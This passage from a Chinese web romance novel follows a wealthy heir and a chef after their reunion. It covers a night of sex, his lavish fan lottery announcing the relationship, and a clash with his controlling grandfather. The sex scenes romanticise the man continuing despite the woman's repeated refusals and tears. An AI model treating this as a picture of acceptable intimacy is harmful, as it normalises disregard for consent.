他,他怎么里面什么都不穿。 她又喝了一口酒,脸上升起的红霞几乎可以媲美红酒的颜色。 放在沙发上的手被一只大掌捞起,揉了揉,从分开她的手指嵌入交缠在一起,不容拒绝的握紧。 梁音脊背一僵。 紧接着身体一轻,整个人被他掐着腰抱起,面对面坐在了他腿上,身上的外套被他随手褪去。 梁音里面只穿了一件贴身的线衫,配杏色半身裙,裙摆像是绽开的花朵,铺开盛放在他的腿上。 霍景闻握着她纤软的腰,抬眼看她薄红的脸,低沉的嗓音带上一丝哑意:“怎么这么正经都不看我,那要怎么惩罚我?” 梁音舔了舔唇瓣,微垂眼睫,就看到了他精壮分明的腹肌,在她的视线里起伏。 和他约定: “说好了是我惩罚你的。” “嗯。” “你不能动。” “行。” “你也不能反抗。” “可以。” 梁音说什么,霍景闻都答应。 梁音有了点信心,低头轻轻吻了下他的薄唇,给出指令:“张嘴。” 霍景闻十分配合的张开了嘴。 梁音又亲了上来,小口的,温柔的含住他的唇瓣,舌尖卷曲,像小猫喝奶,没有一点儿侵略性和杀伤力,亲了好一会儿,将他的薄唇都舔出点点水光。 霍景闻很想耐心的配合她玩儿这种纯洁的亲吻游戏。 可是不行。 这种浅尝辄止的折磨,对他来说,还真是惩罚了。 “宝宝,”霍景闻喘息了声,一手搂着她的腰,嗓音已经变得极致喑哑,略带着不满,“你惩罚我,能不能用点儿力?” 梁音慢吞吞的抬起头,红唇湿软,透着细碎的水光,那双圆润的杏眼也蒙上了一层水汽,带着点儿迷茫和无辜,又纯又欲。 霍景闻眉心一跳,一秒也忍不了,追过去重重吻住她的唇,用力的,深入的强迫交吻。 不同于梁音的和风细雨,霍景闻的力道好像要把她吞吃殆尽一样。 布料分开细微的声音被亲吻声覆盖,皮肤上传来的凉意却不能。 梁音腰脊瑟缩了一下忍不住往后退,却被他抱住摁了回来。 梁音低软的哼吟了声,无意识抱住了他的头。 “别……”她有些受不住,轻轻的哼哼,嗓音却靡软如融化的甜水。 霍景闻抬头舔舐她细白柔美的颈项,落下点点红痕,鼻子紧紧贴在她的颈窝,呼出的气息都是滚烫的,“谢谢宝宝,我好喜欢。” 梁音被他重新堵住了嘴,什么话都说不出来。他的舌头堵进来,越吻越深,好像都快舔到了她的喉咙。 “唔……” 梁音缩颤着忍不住想起身,却被他死死控住,重新摁着坐下,吻得越来越凶。 说好是来惩罚他的,可是梁音闭着眼,感觉好像自己才是他的掌上鱼肉,一点主动权也没有了。 …… 夜越来越深,深浓的暗色笼罩下来。 梁音被放在柔软的大床上,还没爬起来,就被俯身下来的男人制住。 “不要了霍景闻……”在沙发上做了一次的梁音已经有点儿软得没力气了。 霍景闻充耳不闻,“叫我什么?” 梁音羞赧的沉默了一下,小声说:“……老公。” “答得真棒。”霍景闻勾了勾嘴角,却没有一丝犹豫覆身贴住她细白的脊背,愉悦的喘息,“乖老婆,老公一定,好好奖励你。” 梁音把脸埋进被子里。 奖励她……个鬼。 他明明在奖励他自己! 霍景闻亲了下她的肩,好整以暇的假意询问了句:“可以吗老婆。” 梁音果然用力摇头:“不可以的。” “嗯……”他深深吸气,轻笑了声,“怎么不可以呢,老婆好棒。” “我……”梁音还来不及出声,已经被他扣住了手腕,从被子里捧着她的脸,低头重重的亲了下来。 他俊美的脸透着情潮的薄红,咬着她的唇瓣用力亲吻,滚烫的汗珠从胸口滑落。 落在她的肩膀上,梁音捂着脸,好似让她的心尖都颤了颤。 而夜,还很长。 …… …… …… 结束以后,梁音躺在床上,已经很累了,可是他还要追过来,摁着她继续亲,分开她的手指放在枕头上,十指交缠。 “别……” 梁音的声音像含了蜜,很软,很甜,却精疲力尽,快要哭出来了。 霍景闻没有察觉到。就算察觉到,他也不会心软。 闷哼一声,扭过她的脸强迫继续亲吻。 六年了。 梁音还是他的。 要被他狠狠的,全部占有。 缠绵而凶狠的吻持续了很久之后,霍景闻这才从她嘴里退出来,舒爽的,愉悦的亲了亲她的脸颊,然后尝到了湿漉漉的,略带咸涩的味道。 身体一顿,把她捞起来,才看到她眼睛水蒙蒙的,都是眼泪。 没克制住。 霍景闻细细密密的吻去她的眼泪,温柔又低哑着道歉:“对不起宝宝,是我失控了。” 他这一道歉,梁音就更加委屈,抬手推他,喉咙里都带 着哭腔:“不要你……唔……” 嘴巴又被堵住了。 “不可以。” 霍景闻吮着她软嫩的舌尖,黏腻的亲着,安抚着,但是整个人还是密实的压在她背上没有起来。 他又想做了。 可是不行。 梁音等下又要哭。 感受到他的重量,梁音挣扎的力气都变大了一些,想推开他,却被死死压着,呜呜的又哭了。 霍景闻连忙哄着:“好了好了,不做了,行吗?” …… 梁音真的是累极了,被霍景闻从浴室抱出来,连哭的力气都没有了。 躺在新换的床单上,背过身一点儿都不想看他。 明明说好了是她来惩罚他,也不许他动的。 混蛋,什么都答应,结果什么都不遵守。 她在他身上总是吃一堑吃一堑再吃一堑…… 她怎么就忘了,他们的第一次也是他勾着她做的。 “宝宝。”霍景闻掀开被子,从身后抱住她,大手像是开了自动巡航,一边摸着她纤软的腰,一边轻轻在她的肩上啄吻。 她白嫩的肩头,颈项上全是密密麻麻的吻痕,红色的星星点点开得靡荼,已经完全不能看了。 霍景闻后背上也有道道抓痕,可见刚刚做的有多激烈。 “还生气呢?”霍景闻从她背后压过去,牢牢的把她拢在怀里,嗓音含着点点笑意,极度欠扁,“天上没有掉馅饼的好事,送上门的都是居心不良,比如我。” “怎么一点儿不长记性啊老婆。” 梁音恼怒的哼了一声,脸就被霍景闻扭了过来,继续接吻。 口齿交缠中,他毫无诚意地说:“那下次让你把我弄哭?” 梁音被吻得喘不过气,脸都憋红了,推了推他,霍景闻才恋恋不舍的从她嘴里退出,牵出一缕银丝。 她平下呼吸,声音都被吻得甜软,“你去把衣服穿上嘛。” 不然等下又……擦枪走火了。 “行。” 霍景闻只能重新下床,去衣帽间拿睡衣。 梁音躺在床上轻轻平缓着呼吸。 拿起手机看了眼,都凌晨一点半了。 怎么就,这么久了。 梁音捧着自己滚烫的脸晃了晃,不行不行,这情。色太误人了。 也不知道是不是累过头了,梁音感觉自己翻涌的气血还没有平息下来,一点儿困意都没有。 她趴在床上,重新把手机拖过来,无聊的打开了微博。 本来是想看看《完美厨神》的评论区,结果一点进去,闻音起舞的话题竟然上了热搜。 梁音知道的,闻音起舞是她和霍景闻的CP粉给他们取的cp名儿。 今天的节目她也看了,本来她录节目的时候压根没有注意到的,也并不觉得有什么,结果被cp粉们一扣细节,她自己都有点儿嗑到了。 果然,cp粉是最会嗑糖的粉丝群体了。 也就播出了一期节目,结果她和霍景闻的粉丝好像还挺多的呢。 cp超话里好像有一两万个人呢。 现在竟然还上了热搜! 梁音好奇的点进去看了一眼,立马明白为什么会上热搜了。 原来是一个cp粉发起了抽奖。 用户9×××××××:抽999个闻音起舞cp粉,每人一万。【抽奖详情】。 几个小时,底下评论已经达到10w+。 “卧槽?卧槽?卧槽?!!!” “不是,抽999个,每个人一万?!!老天,我都快不认识字了,这也太壕了!” “我他妈,同担这么有实力?999万啊啊啊啊啊啊啊抽奖?!!” “这他妈得是巨佬吧?” “啊啊啊啊啊抽我抽我抽我,求求了求了求了。” “不是我们cp粉真吃上国宴了?” “作为圈内人人喊打,人嫌狗厌的cp粉,第一次受到了国家级礼遇。大佬,抽!我!” “真的假的?!不管了,抽!我!我是闻音起舞死!忠!粉!” “我去,这这这,这该不会是霸总亲自发起的吧?” “包的,姐妹。” “除了霸总本人,哪个姐妹有这实力?” “呜呜呜我草,这他妈算不算深渊巨糖?我嗑嗑嗑嗑我狂嗑!” “好甜啊!” “爽的要死!” “霍总好大手笔呀!抽!我!” “梁音,你有这么爱你的老公别太爽了!” “闻音99!” “闻音99!!!” “就冲着一万块,闻音将受到我最真挚最诚心的祝福!” “啊啊啊啊啊看来他们已经复合啦?不然霸总能这么激动?!!!” 梁音给这条评论点了个赞。 然后悄咪咪的也在评论区打下两个字:“抽,我。” 结果打完了,才反应过来没有换小号,就这么赤裸裸的,掉码了! 刚想把评论删掉,就被回来的霍景闻从身后拥住,“在看什么?” 话音落下,他的吻又贴了上来。 淡雅的灯光下,他们接了一个很甜蜜的吻,好一会儿才分开。 他好喜欢亲她。 梁音靠在他怀里,把手机页面给他看。 “这个抽奖的人是不是你呀?” 霍景闻看了一眼,目光落在她的评论上,扬了扬眉,“当然。” “除了我,还有谁能这么烧钱庆祝我们复合?” 梁音:“你也知道你在烧钱啊?” 一千万诶,普通人几辈子也赚不到的钱,他就这么抽奖抽出去了。 霍景闻懒散叹了一声,懒洋洋的说:“谁让我钱太多了,多到花不完呢。” 除了撒钱,他找不到更合适的方式了。 拿他一分钟的资产换取不计其数的祝福,很划算啊。 最好,全世界的人都来祝福他和梁音。 以免她再次产生什么配不配的想法。 梁音:“……” 他这话真的很欠揍啊。 不过也是,他这么有钱,散一点出去就当是做慈善了。 霍景闻点开她的评论,转头看她,“嗯?你都有我了,还抽什么奖?” 梁音眼睛亮晶晶的,笑了一下,语气很老实:“我支持你啊,你都花这么多钱了,我要是不支持一下,你该多伤心呀?” “才怪。”霍景闻哼了声,一眼就看透,“你就是贪图这一万块,见钱眼开的小财迷。” 梁音笑得眼睛都眯了起来。 像弯弯的月牙。 对啊,她就是见钱眼开嘛,一万块诶,中了的话,就可以不劳而获免费得到一万块诶,她想,只要是个人,都忍受不住这样的诱惑的。 所以她也就情不自禁的,评论啦。 她抬起下巴,在他薄唇上亲了一口,软软的,好声好气地说:“那霍总,你要抽中我哦。” 霍景闻也笑了笑,回亲她一口:“禁止贿赂霍总。” 第59章 第59章那我给你O^o^ 意意醒来的时候照例哼哼唧唧的想蹭进妈妈怀里撒娇,眼睛还没睁开,小手手就往前摸了上去了。结果没有摸到软乎乎的妈妈,触感还硬硬的,一点儿也不舒服。 很像她爸爸。 可是昨天晚上她是在自己家里睡的呀,怎么会摸到爸爸? 意意哼唧哼唧了两声,迷迷糊糊的睁开了眼睛,看到爸爸的脸,然后水汪汪的眼睛一下子就睁大了。 真的是她的爸爸! 意意揉了揉眼睛,躺在被子里四周看了一眼,没错啊,这里就是她的家啊。 爸爸昨天晚上都回去了,他什么时候来的呀,来陪意意睡觉嘛?妈妈呢,难道已经起床了吗? 意意的小脑瓜子想了好一会儿,没想明白就决定先不想了。她还没有完全睡醒,哼哼唧唧的想要人抱。转过头,悄咪咪的爬进了爸爸的怀里,小脑袋搁在爸爸的手臂上,眨巴眨巴眼睛,又睡着了。 梁音一大早先去了一趟菲尔纳丽,交代了一下情况再回来,已经是早上九点了。 李阿姨做了非常丰盛的晚餐,热气腾腾的摆在餐桌上。 看见她回来,指了指卧室,小声说:“霍先生和意意还睡着呢。” 她也不敢去叫。 梁音走过去轻轻推开卧室的门。 天气冷了,小区里已经开始供暖,整个房子都暖融融的,盖着被子都有些嫌热。 意意躺在霍景闻怀里,睡得脸蛋红扑扑的,小脚脚热到伸出被子,大喇喇的摊在被子上面。 听见开门的动静,小家伙终于醒了。 揉着眼睛坐起来,嗓音嫩嫩的:“妈妈,你回来啦。” 梁音走到床边把她抱起来,摸了摸她红扑扑的脸蛋, “宝贝今天怎么睡这么久?” 一般她睡到七点左右就会醒了。 意意靠在妈妈怀里,老实地说:“爸爸不让我起来,让我陪他睡呢。” 她很有自制力的,本来又睡了一会儿就想起来的。可是爸爸搂着她,不让她起床呢。 “爸爸很累吗,怎么还不起床呀?” 小孩儿天真的话充斥在整间卧室。 别说梁音愣了一下,就连还躺着闭目养神的霍景闻也微微蹙了下眉。 他确实挺累的。 梁音轻轻弯起嘴角。 昨天晚上她不放心孩子,怕意意睡醒了要找她,一定要回来。 霍景闻送她回来的时候都快凌晨四点了,闹了一晚上,那确实,会有点儿累。而她倒时差倒觉得还好。 梁音抱着女儿去卫生间洗漱。 还是让他再睡一会儿吧。 不过霍景闻还是没有睡多久,梁音带着女儿刚洗漱完,霍景闻的手机就响了。 大周六的早上,他竟然也这么忙。 霍景闻慢腾腾掀开眼皮,拿起手机看了一眼,脸色淡了淡。 任由那铃声不依不饶响了许久,他才随意接起。 “爷爷。” 打电话的正是霍老爷子。 不为别的,就因为霍景闻昨天晚上豪掷千万给网友抽奖,在各大平台闹得沸沸扬扬,热搜从昨晚挂到现在,各大新闻媒体转载传播,几乎全平台都在讨论这场烧钱盛事。 也就是说,就霍景闻这一番操作下来,只要上网的,对他和梁音的恋情都“略有耳闻”了。闹得这么大,霍老爷子想装聋作哑都不行。 而让他生气的,也正是霍景闻故意把事情闹得这么大。 电话里霍老爷子的声音是从未有过的严厉:“景闻,你要和一个厨师在一起,爷爷不拦你,要和谁谈恋爱是你的自由,可你千不该万不该,谈个恋爱就闹得人尽皆知。你今年是二十七岁不是七岁,竟然做出这种不计后果的轻率行为,把私事闹得沸沸扬扬让全国人评头论足,你还有一点理智吗?你从小聪明理智,头脑清醒,比你那个堂兄手段高明一百倍,我以为霍氏后继有人,我以为霍氏交到你手上能让我放心,现在你看看你,被一个女人迷得神魂颠倒,干了一堆的蠢事,简直毫无理智可言!” 霍老爷子愤怒的骂了一大通。 看得出来确实是气急了。 霍老爷子不是不知道他这个孙子交了个女朋友,为了追人还追到了综艺上。 他都没放在心上。 或者说,他就没把霍景闻追的一个小小厨师放在心上,甚至连她的信息都懒得了解一分。 年轻人情情爱爱的很正常,但这些爱情能维持多久,他太明白。年轻人所谓的爱情足够短暂,短暂到很快就会一拍两散,他压根不必出手阻止。 而且越阻止,越容易引起逆反。 就算事情超出他的预料,那也没关系。打发一个上不了台面的女人太简单了。 他这个孙子六年前也死去活来爱过一个女人,那女人走后每天喝得烂醉如泥,爱得那么深,到现在还不是说忘就忘,追上了别的女人。 所以霍老爷子原本压根就懒得关心这些小事,如果不是霍景闻闹得满城皆知的话。 霍老爷子怒气冲冲。 结果霍景闻起身靠在床头,揉了揉还有点酸胀的眉骨,毫不在意地说:“闹得这么大啊,我刚起床,也不知道呢。不过老爷子——” “您这眼神还是这么犀利,竟然一下就看出来我被她迷得神魂颠倒了?” 霍老爷子被他这混不吝的态度气得够呛:“霍景闻!” 霍景闻语气依旧懒散:“别气着您,等我回来再让您好好教训。” 霍老爷子:“你现在就给我滚回来!” 霍景闻:“行。” 挂了电话,霍景闻才哂笑着无声扯了扯嘴角。 看来是真的把这老头气到了。 闹得大?他当然要闹大一点,闹得舆论大到,他霍振华也不敢轻举妄动的地步。 梁音拿着熨好的衣服在门口敲了敲,推开门走进来后反手又把门关上:“你要回霍家么?” 卧室门本来就不太隔音,他打电话的声音她在外面隐约听到一点儿。 “嗯。” 霍景闻从床上起来,随手脱下身上的睡衣,露出精壮的胸膛。 梁音顿了一下。 他就不能,去里面换。 霍景闻套上衬衣西裤,去卫生间洗漱。 梁音走过去靠站在玻璃门外,“是不是因为昨天晚上你抽奖的事啊,闹得太大了么?” “是啊。”霍景闻对着镜子一颗一颗扣上衬衫的扣子,走出来站在梁音面前,弯下腰,英挺的俊脸沐浴在灯光下,眉目舒展,看不出一丝烦恼的样子。 梁音拿起领带,手指翻动,熟练的给他系好,又给他整理好衣领。 整理好以后才轻轻的叹了口气:“怎么感觉还是狗血偶像剧剧情照进了现实呢?” 霍景闻套上西服外套,闻言挑了挑眉:“嗯?什么狗血剧情?” 梁音:“就是有钱人家的少爷为了和贫穷灰姑娘在一起,被家里强烈反对的剧情啊。接下来你爷爷是不是要给我甩支票啊,然后你为了我和家里闹翻了什么的。这么想想,我竟然还有祸国殃民的潜质诶。” 她乐观的说。 霍景闻已经扣好了西服扣子,看她说得一脸认真,笑得胸口直颤。 “你能不能少看一点这种弱智电视剧?”霍景闻揉了揉她的头发,又抬起她的下巴亲了一口,在她脸上细细打量,“唔……祸国殃民算不上。” “不过祸害我,足够了。老婆,今天晚上要不要继续祸害我?” 梁音拉下他的手,正色地说:“不要。” 是他祸害她才对吧。 而且她才不想又经历一次偷偷摸摸的出门。 李阿姨肯定会发现的。 “好了,快点出来吃早餐,要冷掉了。” “噢。” 吃完了早餐,霍景闻要出门,意意见爸爸要出去玩,耍赖要跟他一起去,跟在他屁股后面说:“爸爸,意意也要出去玩儿。” “爸爸是去工作,可不是去玩儿。”霍景闻把站在他腿边眼巴巴的小公主抱起来,“意意要一起去上班吗?” 意意:“上班是干嘛的呀?” 霍景闻:“上班就是每天没有时间玩,不能看小猪佩奇,不能和小朋友玩,坐在狭窄的工位上度过一整天,处理很多事情。每天要么被客户骂,要么被老板骂。” 霍景闻的话成功吓到小公主脆弱的小心脏,大叫着从他身上下来跑开,躲到妈妈背后可怜兮兮的说:“那意意不要上班,上班太可怕了!” “好,我的小公主每天玩就好了,一辈子都不需要上班。” 霍景闻成功吓退了女儿,非常满意。随手拉开门,正要出去。 下一秒,意意又从梁音身后钻出来 ,关心地问:“那爸爸,你上班也会被老板骂吗?” 霍景闻扬了扬眉:“不会。” “因为爸爸,就是骂人的老板。” 意意张大了嘴巴。 啊……爸爸竟然这么可怕。 …… 秋冬的天气干燥又多变。刚才还是晴空万里,等霍景闻达到老宅,天色阴沉沉的压了下来,像是酝酿着狂暴的风雨。 霍景闻踏进客厅,霍老爷子屏退了左右,坐在朱红金漆莽纹太师椅上,神色平静,那双精明的眼睛里,藏着隐晦的审视与考量。 他看着面前这个不太听话的孙子,语气沉沉:“我在电话里和你说的,你考虑的怎么样?” 如果霍景闻只是玩一玩,他压根懒得管,随他怎么玩都行。 但是现在,霍振华察觉到他这个孙子不止是玩玩而已。 大张旗鼓的在网络上撒钱,向全世界宣告和那个女人的关系——根本就是要用呼啸的舆论来压制他,让他不得不把那个女人承认下来。 霍景闻做这些,是故意的,主动的在挑衅他的权威。 如果是这样,他就一定要干涉不可了,否则迟早有一天,他这个孙子会脱离他的掌控。 但霍振华并没有打算立马和他撕破脸。 只要他好好听他的话,他可以原谅霍景闻这次无伤大雅的玩闹。 霍景闻在老爷子身旁坐下,拿起茶盏喝了一口,淡涩的茶水涌入喉间,说出来的话也是淡淡的:“您说了什么话?” 霍振华也没生气,语气平和地说: “景闻,你谈恋爱我从来没有干涉过,六年前,你那个藏起来的初恋,虽然你爸爸派人去了一趟,但也是作为家长的关心。她离开,那是她自己要走的,我们从来没有对她做什么。作为家长,我想霍家与我,都已经给了你最大的自由。” 霍景闻没说话。 霍振华:“你想在外面怎么玩都随你,我老头子不会管,但你不该把事情闹得这么大,万一你和那女人分手,现在有多少人为你狂欢,将来就会有多少的舆论反噬,难道你就连这么点儿小事都不明白?这件事,你做的实在太荒唐!” “避免你继续荒唐下去,我希望,你可以和那个女人分手。” 霍振华终于说出了他的要求。 霍景闻把茶盏放下,眼睫低垂,忽然轻笑了声:“分手?我为什么要分手。” 他好不容易才把梁音追回来,这老爷子怎么敢对他提这种要求? “怎么,不分手你还想娶她不成?门不当户不对,她进不了我霍家门。宜京的名门淑女排着队任你挑选,你想挑哪个结婚都随你。”霍振华沉下脸,“只要你分手,其他的事我绝无二话,再不干涉。” 霍景闻依旧是那副不甚在意的模样:“老爷子,既然话说到这份上了,那我就给你透个底——我不结婚。” 霍振华气上心头: “胡闹,成家立业,传宗接代才是根本,你是我霍家的继承人就必须结婚,生儿育女,繁衍后代。” “这样啊……”霍景闻妥协了一步,“那行,我可以结婚。只要我女朋友愿意结,我立马就结,谁也不能阻止我。” 霍振华的脸色阴沉下来。 原来是拿这事在要挟他。 以为这样,就能让他同意那女人进门? 是,在一众小辈中,霍景闻是最争气最有手段和本事的那一个,既有野心,手段又狠辣,由他来继承霍氏,最为合适。 可是前提是——这个继承人听他的话。 “景闻,这么说,你是要忤逆爷爷到底了?我是老了,但教训一个不听话的孙子的能力还是有的。不要以为你坐稳了霍氏就真的能为所欲为,你终究还年轻。爷爷能给你的,就能收回来。”霍振华声音冷下来,对霍景闻的态度已经是极度的不悦,精明的眼睛里带上了犀利的量夺。 霍景闻掀了掀眼皮,懒懒对上霍老爷子的目光。 “爷爷,您这是在威胁我?” 霍振华:“是不是,你心中有数。” 客厅里,气氛沉寂下来。 沉闷几近窒息。 外面一声响雷,酝酿许久的暴雨终于降临,狂风骤雨汹涌而来,极度的威慑,似乎要把一切生命都摧毁。 无声的对峙中。 霍景闻压低眼眸,忽然哂笑一声:“我是还年轻。对您来说,野心有余,地位尚不稳固。但是老爷子,您也老了,自以为是的威慑,又还能控制我几分?” 他缓缓从椅子上站起来,慢条斯理打量着这座深藏底蕴与秘密的老宅。 如果是六年前,他确实要与老爷子周旋一段时间。 可惜,今非昔比了。 霍景闻看向霍振华,不紧不慢吐出一句话:“这里,可是霍家老宅。您是不是改姓霍太久了,就真的以为,您是这堂堂霍家的一家之主吧?” …… 从霍家老宅出来。 霍景闻上车吩咐安叔:“去明湖山庄。” 安叔:“是。” 奢华透着银光的库里南在路上快速行驶。 安静中。 霍景闻忽然开口:“给老太太请的甜品师怎么样?老太太是否满意?” 安叔视线看着前方,谨慎回答:“前段时间按照您的要求请了好几个有名气的甜品师去老太太那里,包括您特意从法国请回来的那个甜点大师,都送过去了。但是老太太都不满意,不到一个月,全都辞退了。” “景闻,你也知道,老太太口味一向刁钻的。” 霍景闻淡淡应了声,背往座椅上靠了靠,大腿随意翘起。 忽然想到,上次老太太在病房,还挺喜欢梁音熬的粥。 那还真是,只能靠他老婆了。 他拿出手机,给梁音打了个电话。 铃声响了几下,被挂断。 霍景闻眉头一下就拧了起来:? 怎么还挂他的电话? 手机震动了声。 老婆:【在哄女儿睡觉,待会儿再打。】 霍景闻长指在屏幕上动了动:【哦。】 老婆:【是有什么重要的事儿吗?】 霍景闻:【嗯。想请你给我奶奶做个甜品,梁主厨有没有空?】 老婆:【可以的。奶奶喜欢吃甜一点儿的,还是淡一点儿的,或者有没有钟爱的品类?】 霍景闻:【老太太有点儿高血糖,不能吃太甜的,最好一点糖都不要加,但是又要有不错的香甜口感。】 老婆:【这样啊……好吧,那我想想哦。】 霍景闻:【好。】 下一秒,梁音又发了条微信过来:【那奶奶有没有什么忌口的呀?我记一下。】 忌口的……? 老太太在甜品上并没有什么忌口的,只要是好吃的她都爱。 但是看梁音这么用心为老太太准备甜品,他有点儿吃醋。 她都没怎么用心为他做过。 霍景闻:【有,她不吃抹茶味的,很讨厌。】 隔了好几秒,梁音才回复:【……】 隔着屏幕都能感受到她的无语:【那是你讨厌吧?】 霍景闻扯着嘴角笑了笑。 【答对了,老婆好聪明。】 就是因为六年前梁音留给他一份抹茶味的舒芙蕾,他就到处自虐一般吃各种抹茶味的舒芙蕾。结果他找了六年都没找到梁音,恼羞成怒,越吃越烦躁,把这种愤恨迁怒到抹茶味的甜品上了。 梁音停了一下,打字:【你不要总是一副怨夫语气好不好?】 她都不知道他还要耿耿于怀多久,真是。 霍景闻:【夫?你承认我是你的夫了?】 梁音:【没!有!】 霍景闻:【不承认也不行,我今天已经和老爷子摊牌,告诉他我非你不娶。】 霍景闻:【为了你,我可是与整个霍家为敌了呢,你要补偿我。】 梁音是个很老实的人。 一听他付出了那么多就很感动。 梁音:【那你要我怎么补偿你呀/可爱-^O^-】 还配上了一个很温情的颜文字。 不到两秒。 霍景闻:【给我口一次。】 “……” 他在说什么?! 他怎么能面不改色理直气壮的发这种东西! 在微信里发这种不健康的东西警察叔叔怎么还不把他抓走? 她刚刚竟然在感动。 似越想越气。 梁音:【你敢让我……我就敢咬死你。】 霍景闻:【老婆好凶/哭哭。】 梁音直接无视。 少卖萌了! 她把手机关上想要丢在一边不理。 下一秒,霍景闻的微信又跳了出来:【那我给你O-^o^-】 梁音耳根极速发烫。 大!变!态!—— 作者有话说:霍景闻:我很喜欢的[亲亲] 第60章 第60章老婆真乖。 梁音好像生气了。 一直没有回他。 霍景闻修长的手指在屏幕上点了点,打算再发点儿什么哄哄她。 唉,他老婆真是又爱哭又容易害羞呢。 还没想好要发什么哄她,一个电话中断了他的思绪。 是远峰科技的何超。 何超是何家的独子,虽然是自己出来创业,但是背后的何家也是屹立在宜京百年的老牌豪门,霍景闻和他合作,不过就是给他背后的何家一个面子。 没想到这何超确实是个伶俐人,竟然主动为他与何氏牵线。 “景闻,是这样的,你也知道A市的江南景区这个项目吧,表面上看起来是我在主导,但其实是我爸爸在背后投资的,现在景区已经开发到一半了,资金投入已经超过百亿,超出了当时的预算。所以我们何氏正在找合作方投资共建。这个项目是A市政府配合开发的,等景区建成,盈利方面不成问题,目前已经有好几家来找我了,不知道你有没有这方面的意向,如果有,我待会儿可以把资料先发给你看看。如果霍氏投资,我自然是更放心的。” 霍景闻垂下眼睫。 江南景区这个项目他知道,那可是个香饽饽,这何超竟然主动提出要与他合作,这可真是稀罕事。 “行,你把资料发给我助理。” 何超:“好,那我就等你的好消息了。” 挂了电话,霍景闻看着渐渐熄灭的手机屏幕,沉思着,不知道在想什么。 这是丢了个巨大的诱饵等着他上钩呢。 有意思。 实在是有意思。 安静的车内,手机屏幕又重新亮起来,一条微信跳了出来,是迟迟没有回他的梁音。 老婆:【霍景闻,你再这样,我可就不理你了!】 果然生气了。 霍景闻刚要道歉。 她的信息又发来。 老婆:【不胡闹了呀,外面下雨了,出来要记得带伞。】 老婆:【不说了,我陪意意睡觉。】 霍景闻嘴角愉悦的勾起,整个人舒适地往后靠。 怎么这么可爱。 这么软,哪里有一点儿威慑力,简直让他,更想欺负她了。 …… 一个小时后,到达明湖山庄。 两扇雍华沉重的黑色铁门缓缓打开,库里南匀速往里面驶去。 明湖山庄,顾名思义,一进门,干净宽阔的马路尽头,便是一汪清澈见底的明湖。这里树木葱葱,山林掩映,像是一栋深陷在古老童话里的深幽古堡。 霍老太太正坐在前院的花园里,悠闲的靠躺在躺椅上,身边站着好几个等着伺候的保姆佣人。 她聚精会神翻看着平板,佣人都离得几米之外,没有人敢窥探和打扰。 直到,一声响亮的关门声响起。 霍景闻迈着不紧不慢的步子走了进来,一进来,隔着几步的距离,就看老太太戴着老花镜,看着平板很是入迷。 估计又是上网看年轻帅哥去了。 “霍淑荣,又看帅哥呢,连你的大孙子来了都不知道?“霍景闻一边走进来一边出声提醒。 结果这老太太像是做贼心虚,连忙把平板关掉了。 还把平板藏到了身后。 霍景闻:“……” 霍老太太被抓包了可生气了,倒打一耙,“你这个不孝孙孙,想把你奶奶吓得心脏病发,好获得我的遗产是吧?小心你爷爷饶不了你。” 霍景闻:“上个月体检,医生说你的心脏好得很,年轻得跟孙子似的。” 霍老太太:“……那你进来也要敲门啊!” 霍景闻四周随意看了眼:“您这儿有门儿?” 霍老太太眼见说不过,干脆拿起平板就走:“你太牙尖嘴利了,我不跟你说。” “你这个不孝孙孙,天天怼我这个可怜无助弱小的老太太。” “……” 霍景闻也起身跟上去,顿了一下,叫:“奶奶,我有事儿和你说。” 霍老太太进到客厅,就有保姆送上一杯温红茶和一份刚烤好的曲奇饼干,不加糖的那种。 她拿了块尝了一口,眉头顿时皱了起来,把剩下的丢回去:“难吃。” “什么大厨,徒有虚名,把他开掉。” 管家连忙说:“是。” 霍景闻进来,就看见老太太在生闷气。最关键的是,平板又被她藏起来了,好像生怕被他看到里面的东西。 见霍景闻进来,她眼睛一眯,像在思考:“你谁啊,哪来的大帅哥?快出去,我老伴儿会吃醋!” 霍景闻嗤笑了声,“您这健忘症还能自主控制呢?” 霍老太太心一虚,连忙低头喝茶。 不是,她演技这么好,孙孙是怎么看出来的? 行吧,她摊牌了,不装了。 “你找我什么事啊?又给我送甜品大厨?我可跟你说啊,你上次找的那个什么法国国宝级甜品师,不行,一点也不行,全是花架子,我不满意,你给我重新找。” “行,我一定给您找个你喜欢的,这次您一定满意。” 霍老太太不太信:“你不会骗我老太太吧?” 霍景闻:“我骗您干什么?” 霍老太太想了想,还是很谨慎:“一定有诈,你说,来找我干什么?” 霍景闻干脆直接表明来意:“我找您,帮个忙。” “找我一个老年痴呆的老太太帮忙?”霍老太太瞪大眼睛,“看来这个问题很严重啊,让你都急糊涂了。” 霍景闻:“您不答应?” 霍老太太摆摆手:“我不答应,你知道的,虽然江湖上曾经有我霍淑荣的传说,但我金盆洗手退出江湖很久了,江湖上的是非,我老太太再不过问!” 霍景闻无语几秒。 “您最近又玩什么了?” 霍老太太眼睛一亮:“燕云十六声,你玩不玩?我都七十级了,我带你。” “免了。要你一八十老太带我,说出去不得让人笑死。”霍景闻直接拒绝。 “不要就算了。” 霍老太太撇撇嘴,拒绝,“反正你们的事儿我都不管,我就是个老年痴呆的老太太,能帮你什么忙。” 霍景闻静静看了老太太几秒。 忽然冷不丁的说:“您要是答应我,改明儿我让我家小公主过来陪您玩一天。” “真哒?!”霍淑荣眼睛一亮,“噌”地一下就激动的站了起来,“你说中国人不骗中国人!” 下一秒就听到霍景闻的一声冷哼。 霍淑荣这才反应过来自己露馅了。 “……” 霍景闻:“您调查我女儿多久了?” 霍淑荣装傻:“谁啊,你有女儿了?你个不孝孙孙,你不是没结婚吗怎么就有女儿了?不行,我得向你爷爷告状去……” 霍景闻慢条斯理拿起老太太藏在沙发上的平板,一打开,屏幕上全是意意的照片。 她开心的笑着的。 做鬼脸的。 嘟起小嘴的。 三百六十度各种照片都有,每一张都很可爱,一看都是偷拍来的。就是不知道是霍淑荣亲自去拍的,还是派人去拍的。 霍老太太还想把平板抢过来,被霍景闻摁灭又重新丢在沙发上。 他没计较这事儿,而是说:“行了,您也别装傻。既然您喜欢她,我回去和梁音商量,让意意过来陪您玩儿,她见到您一定很开心。” 霍淑荣睁大眼睛:“真的?小宝贝会喜欢和我老太太玩儿?” 霍景闻:“您拍了她这么久难道还看不出来,我家小公主可爱又贴心,像个小天使,她一定会喜欢您的。” 霍淑荣顿时开心了:“那好,你快叫小宝贝来陪我玩。” “您也别高兴太早,我还要回去和梁音商量,她不一定会答应。”霍景闻淡声说,“如果她不答应,我绝对不会违背她的意思。” 霍淑荣几乎是迫不及待想见到意意了。 “那你就去搞定你老婆啊。只要你让我见到意意小宝贝,我就答应帮你的忙。” 